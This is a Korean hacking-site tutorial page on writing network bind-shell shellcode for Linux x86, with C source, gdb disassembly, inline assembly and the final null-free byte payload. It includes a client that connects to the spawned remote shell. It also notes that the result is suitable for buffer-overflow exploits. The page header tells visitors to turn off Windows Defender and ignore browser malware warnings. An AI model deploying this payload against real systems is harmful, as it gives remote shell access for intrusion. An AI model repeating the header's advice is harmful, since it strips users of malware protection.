::::: 해커즈뉴스 / 해커몰 :::::

해커즈뉴스 / 해커대학

Donation bitcoin(기부용 비트코인 주소)

1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4

기부하신 비트코인은 "보안 취약 계층"을 위해 사용되고 있습니다.

Donation bitcoin(기부용 비트코인 주소)

1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4

기부하신 비트코인은 "보안 취약 계층"을 위해 사용되고 있습니다.

공지

1. MS 엣지 브라우저에서의 경고창은 '윈도우 디펜더'를 끄시면 됩니다.

'윈도우 디펜더 끄기'

2. 크롬 브라우저로 접속시 나오는 악성코드 경고창은 구글 크롬의 에러, 즉 오탐(탐지 오류)이므로 무시하시면 됩니다.

3. 이 사이트는 안전하며 깨끗하다는 것을 알려 드립니다.

4. 무고한 사이트들에 대한 공룡 기업 브라우저들의 무차별적인 '탐지 오류 횡포'가 사용자들의 정보 공유의 자유를 침해하고 있습니다. 이에 대응하여 이 기업들을 상대로 소송을 준비하고 있습니다.

출처: 이동우

장르: 쉘코드

네트워크 쉘코드 만들기

socket을 open하여 연결을 기다리고 해당 소켓을 표준 I/O에 연결하는 코드를 쉘코드로 만드는 과정을 학습해 보자.

내용

shellcode를 c언어로 작성
inline-assembly 코드 작성
shellcode 추출
shellcode test
NULL 바이트 제거
Trouble Shooting
References

1 shellcode를 c언어로 작성shellcode를 만들기 위해선 가장 먼저 필요한 기능을 c언어 코드로 작성하는 일이다. BufferOverflowExploit 페이지에서도 설명했지만 처음부터 shellcode를 기계언어로 만들 수는 없기 때문이다. 여기서는 소켓을 open하고 연결된 소켓을 표준 입출력(I/O)으로 연결하는 기능이 필요하므로 그 내용을 c언어로 만든다.

#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
if(fork()==0)
{
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);
soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
cli=accept(soc, NULL, NULL);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}

디스어셈블 코드를 분석하기 쉽도록 매크로를 제거한 코드로 만들어 둔다.
<server.c>

#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
if(fork()==0)
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x77;
soc=socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,16);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}

2 inline-assembly 코드 작성c언어로 작성한 코드를 컴파일한다.

$[leedw@dasomnetwork]$ gcc -o server -static server.c

쉘 코드를 얻으려면 컴파일한 프로그램을 디스어셈블링해야 한다.

[leedw@dasomnetwork]$ gdb server
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassem main
Dump of assembler code for function main:
0x80481e0 <main>: push %ebp
0x80481e1 <main+1>: mov %esp,%ebp
0x80481e3 <main+3>: sub $0x8,%esp
0x80481e6 <main+6>: call 0x804cb40 <__libc_fork>
0x80481eb <main+11>: mov %eax,%eax
0x80481ed <main+13>: test %eax,%eax
0x80481ef <main+15>: jne 0x80482c0 <main+224>
0x80481f5 <main+21>: movw $0x2,0x80a3c18
0x80481fe <main+30>: movl $0x0,0x80a3c1c
0x8048208 <main+40>: movw $0x77,0x80a3c1a
0x8048211 <main+49>: sub $0x4,%esp
0x8048214 <main+52>: push $0x6
0x8048216 <main+54>: push $0x1
0x8048218 <main+56>: push $0x2
0x804821a <main+58>: call 0x804d1b0 <__socket>
............

API를 호출하는 부분을 하나하나 디스어셈블해 보면서 어셈블리 코드를 만든다.
<fork()>

(gdb) disassem fork
Dump of assembler code for function __libc_fork:
0x804cb40 <__libc_fork>: mov $0x2,%eax
0x804cb45 <__libc_fork+5>: int $0x80
0x804cb47 <__libc_fork+7>: cmp $0xfffff001,%eax
0x804cb4c <__libc_fork+12>: jae 0x8052d30 <__syscall_error>
0x804cb52 <__libc_fork+18>: ret
End of assembler dump.

xor %eax, %eax
movb $0x2, %al
int $0x80
testl %eax, %eax
jnz _exit

<socket()>

(gdb) disassem socket
Dump of assembler code for function __socket:
0x804d1b0 <__socket>: mov %ebx,%edx
0x804d1b2 <__socket+2>: mov $0x66,%eax
0x804d1b7 <__socket+7>: mov $0x1,%ebx
0x804d1bc <__socket+12>: lea 0x4(%esp,1),%ecx
0x804d1c0 <__socket+16>: int $0x80
0x804d1c2 <__socket+18>: mov %edx,%ebx
0x804d1c4 <__socket+20>: cmp $0xffffff83,%eax
0x804d1c7 <__socket+23>: jae 0x8052d30 <__syscall_error>
0x804d1cd <__socket+29>: ret
End of assembler dump.

xor %eax, %eax
xor %ebx, %ebx
movb $0x66, %al
movb $0x1, %bl
movl $0x2, (%esi)
movl $0x1, 0x4(%esi)
movl $0x6, 0x8(%esi)
leal (%esi), %ecx
int $0x80
movl %eax, %edx

<bind()>

(gdb) disassem bind
Dump of assembler code for function bind:
0x804d170 <bind>: mov %ebx,%edx
0x804d172 <bind+2>: mov $0x66,%eax
0x804d177 <bind+7>: mov $0x2,%ebx
0x804d17c <bind+12>: lea 0x4(%esp,1),%ecx
0x804d180 <bind+16>: int $0x80
0x804d182 <bind+18>: mov %edx,%ebx
0x804d184 <bind+20>: cmp $0xffffff83,%eax
0x804d187 <bind+23>: jae 0x8052d30 <__syscall_error>
0x804d18d <bind+29>: ret
End of assembler dump.

xorl %eax, %eax
xorl %ebx, %ebx
movb $0x66, %al
movb $0x2, %bl
movl %edx, (%esi)
leal 0x10(%esi), %ecx
movl %ecx, 0x4(%esi)
movl $0x16, 0x8(%esi)
leal (%esi), %ecx
int $0x80

<listen()>

(gdb) disassem listen
Dump of assembler code for function listen:
0x804d190 <listen>: mov %ebx,%edx
0x804d192 <listen+2>: mov $0x66,%eax
0x804d197 <listen+7>: mov $0x4,%ebx
0x804d19c <listen+12>: lea 0x4(%esp,1),%ecx
0x804d1a0 <listen+16>: int $0x80
0x804d1a2 <listen+18>: mov %edx,%ebx
0x804d1a4 <listen+20>: cmp $0xffffff83,%eax
0x804d1a7 <listen+23>: jae 0x8052d30 <__syscall_error>
0x804d1ad <listen+29>: ret
End of assembler dump.

xorl %eax, %eax
xorl %ebx, %ebx
movb $0x66, %al
movb $0x4, %bl
movl %edx, (%esi)
movl $0x1, 0x4(%esi)
leal (%esi), %ecx
int $0x80

<accept()>

(gdb) disassem accept
Dump of assembler code for function __libc_accept:
0x804d150 <__libc_accept>: mov %ebx,%edx
0x804d152 <__libc_accept+2>: mov $0x66,%eax
0x804d157 <__libc_accept+7>: mov $0x5,%ebx
0x804d15c <__libc_accept+12>: lea 0x4(%esp,1),%ecx
0x804d160 <__libc_accept+16>: int $0x80
0x804d162 <__libc_accept+18>: mov %edx,%ebx
0x804d164 <__libc_accept+20>: cmp $0xffffff83,%eax
0x804d167 <__libc_accept+23>: jae 0x8052d30 <__syscall_error>
0x804d16d <__libc_accept+29>: ret
End of assembler dump.

xorl %eax, %eax
xorl %ebx, %ebx
movl %edx, (%esi)
movl %ebx, 0x4(%esi)
movl %ebx, 0x8(%esi)
movb $0x66, %al
movb $0x5, %bl
int $0x80
movl %eax, %edx

<dup2()>

(gdb) disassem dup2
Dump of assembler code for function __dup2:
0x804d040 <__dup2>: mov %ebx,%edx
0x804d042 <__dup2+2>: mov 0x8(%esp,1),%ecx
0x804d046 <__dup2+6>: mov 0x4(%esp,1),%ebx
0x804d04a <__dup2+10>: mov $0x3f,%eax
0x804d04f <__dup2+15>: int $0x80
0x804d051 <__dup2+17>: mov %edx,%ebx
0x804d053 <__dup2+19>: cmp $0xfffff001,%eax
0x804d058 <__dup2+24>: jae 0x8052d30 <__syscall_error>
0x804d05e <__dup2+30>: ret
End of assembler dump.
(gdb)

xorl %eax, %eax
xorl %ecx, %ecx
movl %edx, %ebx
movb $0x3f, %al
int $0x80

이렇게 해서 얻은 각 API 코드를 조합해서 어셈블리 코드를 만든다.
<netshell.c>

void main()
{
__asm__("
/* if (fork()==0) */
xorl %eax, %eax
movb $0x2, %al
int $0x80
testl %eax, %eax
jnz _exit
jmp _call
_pop:
popl %esi
/* serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x77;
*/
movb $0x2, 0x10(%esi)
movb $0x77, 0x12(%esi)
/* soc=socket(2, 1, 6) */
xor %eax, %eax
xor %ebx, %ebx
movb $0x66, %al
movb $0x1, %bl
movb $0x2, (%esi)
movb $0x1, 0x4(%esi)
movb $0x6, 0x8(%esi)
leal (%esi), %ecx
int $0x80
movl %eax, %edx
/* bind(soc, (struct sockaddr *)&serv_addr,16); */
xorl %eax, %eax
xorl %ebx, %ebx
movb $0x66, %al
movb $0x2, %bl
movl %edx, (%esi)
leal 0x10(%esi), %ecx
movl %ecx, 0x4(%esi)
movb $0x16, 0x8(%esi)
leal (%esi), %ecx
int $0x80
/* listen(soc, 1) */
xorl %eax, %eax
xorl %ebx, %ebx
movb $0x66, %al
movb $0x4, %bl
movl %edx, (%esi)
movb $0x1, 0x4(%esi)
leal (%esi), %ecx
int $0x80
/* cli=accept(soc,0,0); */
xorl %eax, %eax
xorl %ebx, %ebx
movl %edx, (%esi)
movl %ebx, 0x4(%esi)
movl %ebx, 0x8(%esi)
movb $0x66, %al
movb $0x5, %bl
int $0x80
movl %eax, %edx
/* dup2(cli,0); */
xorl %eax, %eax
xorl %ecx, %ecx
movl %edx, %ebx
movb $0x3f, %al
int $0x80
/* dup2(cli, 1); */
xorl %eax, %eax
inc %ecx
movb $0x3f, %al
int $0x80
/* dup2(cli, 3); */
xorl %eax, %eax
inc %ecx
movb $0x3f, %al
int $0x80
/* execl("/bin/sh","sh",0);
"/bin/sh"문자를 메모리에 저장할 때 주의할 것은 x86 프로세서는
little-endian방식을 따르므로 ascii 코드값을 거꾸로 집어 넣어야 한다.
이걸 착각해서 디버깅하는데 1시간이 넘게 걸렸다니까.. --;
*/
movl $0x6e69622f,(%esi)
movl $0x0068732f, 0x4(%esi)
xorl %eax, %eax
movb %al, 0x7(%esi)
movl %esi, 0x8(%esi)
movl %eax, 0xc(%esi)
movb $0xb, %al
movl %esi, %ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80

_exit:
xorl %eax, %eax
movb $0x1, %al
xorl %ebx, %ebx
int $0x80
_call:
call _pop
");
}

3 shellcode 추출바이너리 쉘 코드를 얻기 위해서는 위에서 작성한 inline-assembly 코드를 컴파일해야한다.

[leedw@dasomnetwork]$ gcc -o netshell -g -ggdb netshell.c

gdb를 이용해 어셈블 코드가 제대로 맞는지 확인해 본다.

[leedw@dasomnetwork]$ gdb netshell
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassem main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: xor %eax,%eax
0x8048435 <main+5>: mov $0x2,%al
0x8048437 <main+7>: int $0x80
0x8048439 <main+9>: test %eax,%eax
0x804843b <main+11>: jne 0x80484e2 <_exit>
0x8048441 <main+17>: jmp 0x80484ea <_call>
0x8048446 <_pop>: pop %esi
0x8048447 <_pop+1>: movb $0x2,0x10(%esi)
0x804844b <_pop+5>: movb $0x77,0x12(%esi)
..............

이제 gdb의 x 커맨드로 바이너리 코드를 추출한다.

(gdb) x/xb main+3
0x8048433 <main+3>: 0x31
(gdb)
0x8048434 <main+4>: 0xc0
(gdb)
0x8048435 <main+5>: 0xb0
(gdb)
0x8048436 <main+6>: 0x02
.........

이 작업을 통해 얻은 shellcode는 다음과 같다.

char shellcode[] =
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x02" /* mov $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* test %eax,%eax */
"\x0f\x85\xa1\x00\x00\x00" /* jnz 0x80496af <buf+175> */
"\xe9\xa4\x00\x00\x00" /* jmp 0x80496b7 <buf+183> */
"\x5e" /* pop %esi */
"\xc6\x46\x10\x02" /* movl $0x2,0x10(%esi) */
"\xc6\x46\x12\x75" /* movl $0x77,0x12(%esi) */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x01" /* mov $0x1,%bl */
"\xc6\x06\x02" /* movl $0x2,(%esi) */
"\xc6\x46\x04\x01" /* movl $0x1,0x4(%esi) */
"\xc6\x46\x08\x06" /* movl $0x6,0x8(%esi) */
"\x8d\x0e" /* lea (%esi),%ecx*/
"\xcd\x80" /* int $0x80 */
"\x89\xc2" /* mov %eax,%edx */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x02" /* mov $0x2,%bl */
"\x89\x16" /* mov %edx,(%esi) */
"\x8d\x4e\x10" /* lea 0x10(%esi),%ecx*/
"\x89\x4e\x04" /* mov %ecx,0x4(%esi) */
"\xc6\x46\x08\x16" /* movl $0x16,0x8(%esi) */
"\x8d\x0e" /* lea (%esi),%ecx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x04" /* mov $0x4,%bl */
"\x89\x16" /* mov %edx,(%esi) */
"\xc6\x46\x04\x01" /* movl $0x1,0x4(%esi) */
"\x8d\x0e" /* lea (%esi),%ecx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\x16" /* mov %edx,(%esi) */
"\x89\x5e\x04" /* mov %ebx,0x4(%esi) */
"\x89\x5e\x08" /* mov %ebx,0x8(%esi) */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x05" /* mov $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\xc2" /* mov %eax,%edx */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xc9" /* xor %ecx,%ecx */
"\x89\xd3" /* mov %edx,%ebx */
"\xb0\x3f" /* mov $0x3f,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x41" /* inc %ecx */
"\xb0\x3f" /* mov $0x3f,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x41" /* inc %ecx */
"\xb0\x3f" /* mov $0x3f,%al */
"\xcd\x80" /* int $0x80 */
"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */
"\xc7\x46\x04\x2f\x73\x68\x00" /* movl $0x68732f,0x4(%esi) */
"\x31\xc0" /* xor %eax,%eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\xb0\x0b" /* mov $0xb,%al */
"\x89\xf3" /* mov %esi,%ebx */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* lea 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x57\xff\xff\xff"; /* call 0x8049613 <buf+19> */

4 shellcode test이렇게 해서 얻은 shellcode가 제대로 동작하는지 확인해 봐야 한다. shellcode를 전역변수로 선언하고 다음과 같은 코드를 만든다.

char buf[512] = {'\0'};

void main()
{
int *ret;

memcpy(buf, shellcode, sizeof(shellcode));

ret = (int*)&ret + 2;
(*ret) = (int)buf;
}

그리고 실제 shellcode가 제대로 작동하는지 확인하기 위한 client 테스트 프로그램을 만든다.
<client.c>

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}

int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}

int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}

int main(int argc, char* argv[], char* env[] )
{
int sockfd;

if (argc != 2)
{
printf("usage:%s [target address]\n", argv[0]);
return 0;
}
sockfd=connect_sh(getip(argv[1]));
exec_sh(sockfd);
}

위 client 테스트 프로그램을 컴파일하고 server 프로그램을 실행한 후 client 프로그램을 실행해서 실제 리모트에서 shell이 떨어지는지를 확인해 본다.

[leedw@dasomnetwork]$ gcc -o client client.c
[leedw@dasomnetwork]$ ./client localhost
Connect to the shell
ls <------------- OK! shell이 동작하는 것을 볼 수 있다. :)
a.out
client
client.c
environ
environ.c
execl
execl.c
exploit1
exploit1.c

5 NULL 바이트 제거위의 shellcode는 잘 동작하긴 하지만 코드 중간에 NULL(0x00) 바이트가 끼어 있기 때문에 그대로 exploit으로 사용할 순 없다. BufferOverflowExploit 페이지에서도 설명했지만 shell code가 타깃 프로그램의 메모리에 올려지는건 strcpy()와 같은 함수들을 통해 올려지는데 shell code에 NULL 바이트가 끼어있다면 NULL바이트까지만 메모리에 올라가게 될 것이다. 완벽한 shellcode를 얻기 위해서는 코드 중간에 끼어 있는 NULL 바이트를 제거해야 한다.

binary code instructions substituitons binary
----------------------------------------------------------------------------------------------------------------------------
\x0f\x85\xa1\x00\x00\x00 jnz 0x80496af <buf+175> * *
\xe9\xa4\x00\x00\x00 jmp 0x80496b7 <buf+183> * *
\xc7\x46\x04\x2f\x73\x68\x00 movl $0x68732f,0x4(%esi) movl $0x2f68732f, 0x4(%esi) \xc7\x46\x04\x2f\x73\x68\x2f
----------------------------------------------------------------------------------------------------------------------------

shellcode를 작성할 때, jnz, jmp와 같은 점프 코드는 1바이트 상대 주소로 분기하도록 해야 한다. 그렇지 않으면 위와 같이 operand에 4바이트 상대 주소를 채워 넣어야하는 opcode가 사용되는데 웬만한 shellcode는 0x1000000바이트를 넘을 일이 없기 때문에 4바이트 점프 코드가 쓰인다면 NULL값이 반드시 들어가게 된다. 그런데 1바이트 주소값을 쓰려면 이번엔 점프하고자 하는 주소가 127바이트(0x7f) 이내여야 한다는 제약사항이 있다. socket을 열고 그것을 표준I/O에 연결하는 코드와 같이 복잡한 기능을 구현하려면 아무래도 127바이트 길이 이내로는 구현이 힘들 것이다. 그렇다면 이를 피해가는 방법은 무엇일까.
코드 중간에(127바이트 이내) 분기 코드가 경유하여 갈 수 있도록 중간 경유지를 두면 쉽게 해결될 것이다.

__asm__("
/* if (fork()==0) */
xorl %eax, %eax
movb $0x2, %al
int $0x80
testl %eax, %eax
jnz _JPOINT2 <----- _exit 코드까지 127바이트가 넘으므로 중간 경유지를 거쳐 가도록 한다.
jmp _JPOINT1 <----- _call 호출코드도 마찬가지....
_pop:
pop %esi
.......
leal (%esi), %ecx
int $0x80
jmp _CPOINT

_JPOINT1:
jmp _call

_JPOINT2:
jmp _exit

_CPOINT:
/* cli=accept(soc,0,0); */
xorl %eax, %eax
.....

이렇게 작성한 어셈블 코드를 컴파일 해서 바이너리 코드를 추출하면 최종적으로 깔끔한 shellcode를 얻어 낼 수 있다.

char shellcode[] =
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x02" /* mov $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* test %eax,%eax */
"\x75\x52" /* jnz $0x52 */
"\xeb\x4e" /* jmp $0x4e */
"\x5e" /* pop %esi */
"\xc6\x46\x10\x02" /* movl $0x2,0x10(%esi) */
"\xc6\x46\x12\x77" /* movl $0x77,0x12(%esi) */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x01" /* mov $0x1,%bl */
"\xc6\x06\x02" /* movl $0x2,(%esi) */
"\xc6\x46\x04\x01" /* movl $0x1,0x4(%esi) */
"\xc6\x46\x08\x06" /* movl $0x6,0x8(%esi) */
"\x8d\x0e" /* lea (%esi),%ecx*/
"\xcd\x80" /* int $0x80 */
"\x89\xc2" /* mov %eax,%edx */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x02" /* mov $0x2,%bl */
"\x89\x16" /* mov %edx,(%esi) */
"\x8d\x4e\x10" /* lea 0x10(%esi),%ecx*/
"\x89\x4e\x04" /* mov %ecx,0x4(%esi) */
"\xc6\x46\x08\x16" /* movl $0x16,0x8(%esi) */
"\x8d\x0e" /* lea (%esi),%ecx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x04" /* mov $0x4,%bl */
"\x89\x16" /* mov %edx,(%esi) */
"\xc6\x46\x04\x01" /* movl $0x1,0x4(%esi) */
"\x8d\x0e" /* lea (%esi),%ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp $0x4 */
"\xeb\x56" /* jmp $0x56 */
"\xeb\x4c" /* jmp $0x4c */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\x16" /* mov %edx,(%esi) */
"\x89\x5e\x04" /* mov %ebx,0x4(%esi) */
"\x89\x5e\x08" /* mov %ebx,0x8(%esi) */
"\xb0\x66" /* mov $0x66,%al */
"\xb3\x05" /* mov $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\xc2" /* mov %eax,%edx */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xc9" /* xor %ecx,%ecx */
"\x89\xd3" /* mov %edx,%ebx */
"\xb0\x3f" /* mov $0x3f,%al */
"\xcd\x80" /* int $0x80 */
"\x41" /* inc %ecx */
"\xb0\x3f" /* mov $0x3f,%al */
"\xcd\x80" /* int $0x80 */
"\x41" /* inc %ecx */
"\xb0\x3f" /* mov $0x3f,%al */
"\xcd\x80" /* int $0x80 */
"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi)*/
"\xc7\x46\x04\x2f\x73\x68\x2f" /* movl $0x2f68732f,0x4(%esi)*/
"\x31\xc0" /* xor %eax,%eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\xb0\x0b" /* mov $0xb,%al */
"\x89\xf3" /* mov %esi,%ebx */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* lea 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x55\xff\xff\xff"; /* call _pop */

null 바이트가 제거된 코드이므로 exploit으로 사용하기에 손색이 없는 괜찮은 shellcode가 된다.

6 Trouble Shootingshellcode를 작성할 때 주의할 것은 반드시 사전에 CPU 플랫폼의 특성을 숙지하고 있어야 한다. "/bin/sh"와 같은 ascii 코드를 다룰 때 CPU 플랫폼이 little-endian인지 big-endian인지 확인하지 않으면 shellcode가 제대로 동작하지 않는다.

이와 더불어 소켓을 open할 때 open하고자 하는 port를 다른 프로그램이 사용하고 있지 않은지도 확인해야 한다. 필자의 경우 처음에 포트 번호 30464를 쓰려고 했는데 다른 프로그램에서 이미 이 포트를 사용하고 있는줄 모르고 shellcode를 만들었다가 한참 고생을 했다.

[leedw@dasomnetwork]$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.184.0:30464 0.0.0.0:* LISTEN <----- 30464번을 다른 프로그램에서 쓰고 있다.
tcp 0 0 0.0.0.0:49858 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:37635 0.0.0.0:* LISTEN
.............

사전에 netstat 커맨드로 포트를 확인해서 아무도 사용하지 않는 포트번호를 골라야 한다. 이때 포트번호를 고를 땐 아무렇게나 고르는게 아니고, 포트 번호는 기본적으로 network byte로 저장이 되므로 30464번 처럼 network byte로 swap했을 때 한 바이트가 나오는 포트 번호를 골라야 한다. (30464(0x7700)을 network byte로 swap하면 16바이트 swap이므로 0x77이 된다. 따라서 비슷한 류의 번호로 예를 들면 30208(0x7600)이나 29952(0x7500)번을 고르면 될 것이다.)

문서번호	장르	문서명	출처	첨부

이곳에서는 버퍼오버플로우와 포맷스트링 버그에 대한 문서들을 제공합니다.

91	버퍼오버플로우	오버플로우 공격과 방어	김진택

90	쉘코드	Linux/x86 chroot and standart shellcode	Okti

89	버퍼오버플로우	잘 만들어진 버퍼오버플로우 문서	미상

88	쉘코드	네트워크 쉘코드 만들기	이동우

87	쉘코드	솔라리스 바인딩 쉘코드	truefinder,

86	쉘코드	bin 을 16진수로 변환하는 툴	해커즈뉴스

85	쉘코드	쉘코드 생성기	해커즈뉴스

84	쉘코드	FTP 원격 다운로드/실행 바인딩	Matt Conover

83	쉘코드	TCP 바인딩 쉘코드	Matt Conover

82	쉘코드	Cygnus Win32 윈도쉘	Matt Conover

81	쉘코드	윈도용 쉘코드 생성기	Matt Conover

80	쉘코드	윈도용 쉘코드 만들기	해커즈뉴스